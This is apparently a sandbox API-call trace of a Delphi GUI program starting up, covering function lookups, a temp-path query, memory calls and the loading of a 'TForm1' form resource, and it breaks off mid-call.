0x112c [0087.407] GetCurrentThreadId () returned 0x112c [0087.407] GetCurrentThreadId () returned 0x112c [0087.407] GetCurrentThreadId () returned 0x112c [0087.407] GetCurrentThreadId () returned 0x112c [0087.407] GetCurrentThreadId () returned 0x112c [0087.407] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19fccd, cbMultiByte=9, lpWideCharStr=0x25a8474, cchWideChar=10 | out: lpWideCharStr="TMenuItem") returned 9 [0087.428] CharLowerBuffW (in: lpsz="TMenuItem", cchLength=0x9 | out: lpsz="tmenuitem") returned 0x9 [0087.428] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19fccd, cbMultiByte=10, lpWideCharStr=0x25a849c, cchWideChar=11 | out: lpWideCharStr="TComponent") returned 10 [0087.428] CharLowerBuffW (in: lpsz="TComponent", cchLength=0xa | out: lpsz="tcomponent") returned 0xa [0087.428] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19fccd, cbMultiByte=11, lpWideCharStr=0x25a84c4, cchWideChar=12 | out: lpWideCharStr="TPersistent") returned 11 [0087.428] CharLowerBuffW (in: lpsz="TPersistent", cchLength=0xb | out: lpsz="tpersistent") returned 0xb [0087.428] CharLowerBuffW (in: lpsz="TPersistent", cchLength=0xb | out: lpsz="tpersistent") returned 0xb [0087.428] GetCurrentThreadId () returned 0x112c [0087.532] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74060000 [0087.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeFlatSB", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0087.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeFlatSB", cchWideChar=16, lpMultiByteStr=0x25a84ec, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InitializeFlatSB", lpUsedDefaultChar=0x0) returned 16 [0087.846] GetProcAddress (hModule=0x74060000, lpProcName="InitializeFlatSB") returned 0x740dfdf0 [0087.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="UninitializeFlatSB", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0087.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="UninitializeFlatSB", cchWideChar=18, lpMultiByteStr=0x25a84ec, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninitializeFlatSB", lpUsedDefaultChar=0x0) returned 18 [0087.847] GetProcAddress (hModule=0x74060000, lpProcName="UninitializeFlatSB") returned 0x740dfda0 [0087.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_GetScrollProp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0087.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_GetScrollProp", cchWideChar=20, lpMultiByteStr=0x25a84ec, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlatSB_GetScrollProp", lpUsedDefaultChar=0x0) returned 20 [0087.847] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_GetScrollProp") returned 0x740dff70 [0087.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_SetScrollProp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0087.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_SetScrollProp", cchWideChar=20, lpMultiByteStr=0x25a84ec, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlatSB_SetScrollProp", lpUsedDefaultChar=0x0) returned 20 [0087.847] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_SetScrollProp") returned 0x741191c0 [0087.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_EnableScrollBar", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0087.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_EnableScrollBar", cchWideChar=22, lpMultiByteStr=0x25a84ec, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlatSB_EnableScrollBar", lpUsedDefaultChar=0x0) returned 22 [0087.847] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_EnableScrollBar") returned 0x74119100 [0087.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_ShowScrollBar", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0087.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_ShowScrollBar", cchWideChar=20, lpMultiByteStr=0x25a84ec, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlatSB_ShowScrollBar", lpUsedDefaultChar=0x0) returned 20 [0087.847] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_ShowScrollBar") returned 0x741191f0 [0087.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_GetScrollRange", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0087.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_GetScrollRange", cchWideChar=21, lpMultiByteStr=0x25a84ec, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlatSB_GetScrollRange", lpUsedDefaultChar=0x0) returned 21 [0087.848] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_GetScrollRange") returned 0x74119160 [0087.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_GetScrollInfo", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0087.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_GetScrollInfo", cchWideChar=20, lpMultiByteStr=0x25a84ec, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlatSB_GetScrollInfo", lpUsedDefaultChar=0x0) returned 20 [0087.848] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_GetScrollInfo") returned 0x74119120 [0087.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_GetScrollPos", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0087.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_GetScrollPos", cchWideChar=19, lpMultiByteStr=0x25a84ec, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlatSB_GetScrollPos", lpUsedDefaultChar=0x0) returned 19 [0087.848] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_GetScrollPos") returned 0x74119140 [0087.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_SetScrollPos", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0087.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_SetScrollPos", cchWideChar=19, lpMultiByteStr=0x25a84ec, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlatSB_SetScrollPos", lpUsedDefaultChar=0x0) returned 19 [0087.848] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_SetScrollPos") returned 0x741191a0 [0087.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_SetScrollInfo", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0087.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_SetScrollInfo", cchWideChar=20, lpMultiByteStr=0x25a84ec, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlatSB_SetScrollInfo", lpUsedDefaultChar=0x0) returned 20 [0087.849] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_SetScrollInfo") returned 0x74119180 [0087.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_SetScrollRange", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0087.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlatSB_SetScrollRange", cchWideChar=21, lpMultiByteStr=0x25a84ec, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlatSB_SetScrollRange", lpUsedDefaultChar=0x0) returned 21 [0087.849] GetProcAddress (hModule=0x74060000, lpProcName="FlatSB_SetScrollRange") returned 0x741191d0 [0087.849] GetModuleHandleW (lpModuleName="user32.dll") returned 0x750c0000 [0087.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SetLayeredWindowAttributes", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0087.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SetLayeredWindowAttributes", cchWideChar=26, lpMultiByteStr=0x25afabc, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetLayeredWindowAttributes", lpUsedDefaultChar=0x0) returned 26 [0087.849] GetProcAddress (hModule=0x750c0000, lpProcName="SetLayeredWindowAttributes") returned 0x750f3d70 [0087.849] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc08a [0087.850] RegisterClipboardFormatW (lpszFormat="TaskbarButtonCreated") returned 0xc0a9 [0088.025] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x772d0000 [0088.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetFileSizeEx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0088.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetFileSizeEx", cchWideChar=13, lpMultiByteStr=0x258ac6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetFileSizeEx", lpUsedDefaultChar=0x0) returned 13 [0088.025] GetProcAddress (hModule=0x772d0000, lpProcName="GetFileSizeEx") returned 0x7733ef40 [0088.362] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x990000 [0088.831] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x254f22c | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0088.832] CoInitialize (pvReserved=0x0) returned 0x1 [0088.951] GetCurrentThreadId () returned 0x112c [0088.951] ResetEvent (hEvent=0x214) returned 1 [0088.951] GetCurrentThreadId () returned 0x112c [0088.951] GetCurrentThreadId () returned 0x112c [0088.951] GetCurrentThreadId () returned 0x112c [0088.951] ResetEvent (hEvent=0x214) returned 1 [0089.297] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0x19fe58, fWinIni=0x0 | out: pvParam=0x19fe58) returned 1 [0089.644] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0x19fe58, fWinIni=0x0 | out: pvParam=0x19fe58) returned 1 [0089.704] GetSystemMetrics (nIndex=49) returned 16 [0089.704] GetSystemMetrics (nIndex=50) returned 16 [0089.705] GetCurrentThreadId () returned 0x112c [0089.705] GetCurrentThreadId () returned 0x112c [0089.705] GetCurrentThreadId () returned 0x112c [0089.726] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0x19fe9c, fWinIni=0x0 | out: pvParam=0x19fe9c) returned 1 [0090.096] IsWindowVisible (hWnd=0x202c4) returned 0 [0090.096] GetCurrentThreadId () returned 0x112c [0090.189] GetCurrentThreadId () returned 0x112c [0090.190] GetCurrentThreadId () returned 0x112c [0090.726] GetCurrentThreadId () returned 0x112c [0090.726] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19fc65, cbMultiByte=6, lpWideCharStr=0x258ad8c, cchWideChar=7 | out: lpWideCharStr="TForm1") returned 6 [0090.726] VirtualQuery (in: lpAddress=0x618028, lpBuffer=0x19fe64, dwLength=0x1c | out: lpBuffer=0x19fe64*(BaseAddress=0x618000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0xd0000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0090.726] FindResourceW (hModule=0x400000, lpName="TForm1", lpType=0xa) returned 0x6f66b0 [0090.815] FindResourceW (hModule=0x400000, lpName="TForm1", lpType=0xa) returned 0x6f66b0 [0090.816] LoadResource (hModule=0x400000, hResInfo=0x6f66b0) returned 0x6e5888 [0090.816] SizeofResource (hModule=0x400000, hResInfo=0x6f66b0) returned 0x176 [0090.816] LockResource (hResData=0x6e5888) returned 0x6e5888 [0090.954] GetCurrentThreadId () returned 0x112c [0090.954] GetCPInfo (in: CodePage=0xfde9, lpCPInfo=0x19fd58 | out: lpCPInfo=0x19fd58) returned 1 [0090.954] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cb0, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0090.954] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cb0, cbMultiByte=6, lpWideCharStr=0x258adec, cchWideChar=6 | out: lpWideCharStr="TForm1") returned 6 [0090.954] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cb0, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0090.954] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cb0, cbMultiByte=5, lpWideCharStr=0x258ae0c, cchWideChar=5 | out: lpWideCharStr="Form1") returned 5 [0091.050] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19fb31, cbMultiByte=12, lpWideCharStr=0x25afc0c, cchWideChar=13 | out: lpWideCharStr="TApplication") returned 12 [0091.112] GetCurrentThreadId () returned 0x112c [0091.112] GetCurrentThreadId () returned 0x112c [0091.112] GetCurrentThreadId () returned 0x112c [0091.138] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2598ab8, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0091.138] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2598ab8, cbMultiByte=4, lpWideCharStr=0x258ae6c, cchWideChar=4 | out: lpWideCharStr="Left") returned 4 [0091.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Left", cchWideChar=4, lpMultiByteStr=0x258aeac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Left", lpUsedDefaultChar=0x0) returned 4 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2598ab8, cbMultiByte=3, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2598ab8, cbMultiByte=3, lpWideCharStr=0x2593ce4, cchWideChar=3 | out: lpWideCharStr="Top") returned 3 [0091.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Top", cchWideChar=3, lpMultiByteStr=0x258ae8c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Top", lpUsedDefaultChar=0x0) returned 3 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593ce0, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593ce0, cbMultiByte=11, lpWideCharStr=0x25a8604, cchWideChar=11 | out: lpWideCharStr="BorderStyle") returned 11 [0091.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BorderStyle", cchWideChar=11, lpMultiByteStr=0x25c515c, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BorderStyle", lpUsedDefaultChar=0x0) returned 11 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=6, lpWideCharStr=0x258ae8c, cchWideChar=6 | out: lpWideCharStr="bsNone") returned 6 [0091.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bsNone", cchWideChar=6, lpMultiByteStr=0x25a8654, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bsNone", lpUsedDefaultChar=0x0) returned 6 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=12, lpWideCharStr=0x25afc6c, cchWideChar=12 | out: lpWideCharStr="ClientHeight") returned 12 [0091.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ClientHeight", cchWideChar=12, lpMultiByteStr=0x25c515c, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ClientHeight", lpUsedDefaultChar=0x0) returned 12 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=11, lpWideCharStr=0x25a85b4, cchWideChar=11 | out: lpWideCharStr="ClientWidth") returned 11 [0091.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ClientWidth", cchWideChar=11, lpMultiByteStr=0x25c515c, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ClientWidtht", lpUsedDefaultChar=0x0) returned 11 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0091.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=5, lpWideCharStr=0x258ae8c, cchWideChar=5 | out: lpWideCharStr="Color") returned 5 [0091.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Color", cchWideChar=5, lpMultiByteStr=0x258aeac, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Color", lpUsedDefaultChar=0x0) returned 5 [0091.206] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0091.206] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=9, lpWideCharStr=0x25a8604, cchWideChar=9 | out: lpWideCharStr="clBtnFace") returned 9 [0091.206] GetCurrentThreadId () returned 0x112c [0091.206] GetCurrentThreadId () returned 0x112c [0091.206] GetCurrentThreadId () returned 0x112c [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x258ae88, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x258ae88, cbMultiByte=16, lpWideCharStr=0x25c515c, cchWideChar=16 | out: lpWideCharStr="TransparentColor") returned 16 [0091.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TransparentColor", cchWideChar=16, lpMultiByteStr=0x25b69b4, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TransparentColor", lpUsedDefaultChar=0x0) returned 16 [0091.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="True", cchWideChar=4, lpMultiByteStr=0x258ae8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TrueentColor", lpUsedDefaultChar=0x0) returned 4 [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x25a8600, cbMultiByte=21, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x25a8600, cbMultiByte=21, lpWideCharStr=0x25d389c, cchWideChar=21 | out: lpWideCharStr="TransparentColorValue") returned 21 [0091.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TransparentColorValue", cchWideChar=21, lpMultiByteStr=0x25e1c3c, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TransparentColorValue", lpUsedDefaultChar=0x0) returned 21 [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=9, lpWideCharStr=0x25a8604, cchWideChar=9 | out: lpWideCharStr="clBtnFace") returned 9 [0091.232] GetCurrentThreadId () returned 0x112c [0091.232] GetCurrentThreadId () returned 0x112c [0091.232] GetCurrentThreadId () returned 0x112c [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=7, lpWideCharStr=0x258ae6c, cchWideChar=7 | out: lpWideCharStr="Enabled") returned 7 [0091.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Enabled", cchWideChar=7, lpMultiByteStr=0x25a8604, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Enabled", lpUsedDefaultChar=0x0) returned 7 [0091.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="False", cchWideChar=5, lpMultiByteStr=0x258aecc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="False", lpUsedDefaultChar=0x0) returned 5 [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=12, lpWideCharStr=0x25afc9c, cchWideChar=12 | out: lpWideCharStr="Font.Charset") returned 12 [0091.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Font", cchWideChar=4, lpMultiByteStr=0x258ae8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fonta", lpUsedDefaultChar=0x0) returned 4 [0091.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Charset", cchWideChar=7, lpMultiByteStr=0x25a8604, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Charset", lpUsedDefaultChar=0x0) returned 7 [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x258ae68, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x258ae68, cbMultiByte=15, lpWideCharStr=0x25afc6c, cchWideChar=15 | out: lpWideCharStr="DEFAULT_CHARSET") returned 15 [0091.232] GetCurrentThreadId () returned 0x112c [0091.232] GetCurrentThreadId () returned 0x112c [0091.232] GetCurrentThreadId () returned 0x112c [0091.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0091.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=10, lpWideCharStr=0x25a8604, cchWideChar=10 | out: lpWideCharStr="Font.Color") returned 10 [0091.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Font", cchWideChar=4, lpMultiByteStr=0x258ae8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fonta", lpUsedDefaultChar=0x0) returned 4 [0091.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Color", cchWideChar=5, lpMultiByteStr=0x258ae6c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Color", lpUsedDefaultChar=0x0) returned 5 [0091.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0091.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=12, lpWideCharStr=0x25afc9c, cchWideChar=12 | out: lpWideCharStr="clWindowText") returned 12 [0091.233] GetCurrentThreadId () returned 0x112c [0091.233] GetCurrentThreadId () returned 0x112c [0091.233] GetCurrentThreadId () returned 0x112c [0091.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x2593cf8, cbMultiByte=11, 